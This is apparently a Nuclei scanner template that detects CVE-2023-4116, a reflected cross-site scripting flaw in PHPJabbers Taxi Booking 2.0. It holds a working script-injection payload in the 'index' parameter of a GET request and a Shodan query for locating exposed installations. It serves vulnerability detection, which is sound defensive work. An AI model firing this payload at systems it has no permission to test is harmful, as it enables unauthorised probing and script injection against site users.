id: CVE-2023-4116

info:
  name: PHPJabbers Taxi Booking 2.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability classified as problematic was found in PHP Jabbers Taxi Booking 2.0. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be launched remotely.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39746
    - https://cxsecurity.com/ascii/WLB-2023080016
    - http://packetstormsecurity.com/files/173937/PHPJabbers-Taxi-Booking-2.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4116
    - https://vuldb.com/?ctiid.235963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4116
    cwe-id: CWE-79
    epss-score: 0.0027
    epss-percentile: 0.67168
    cpe: cpe:2.3:a:phpjabbers:taxi_booking_script:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: taxi_booking_script
    shodan-query: html:"PHP Jabbers.com"
  tags: cve,cve2023,packetstorm,xss,phpjabbers

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFrontPublic&action=pjActionSearch&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Passengers", "Drop-off address", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 490a00463044022014e56b9021d2442982b86a1d21892f238398d218d593b939cf613c4485737f8802205ae68c8fd53c1b5048efba29b99e73f220fdcdc2b85dbdfb6c4418e942d82d51:922c64590222798bb761d5b6d8e72950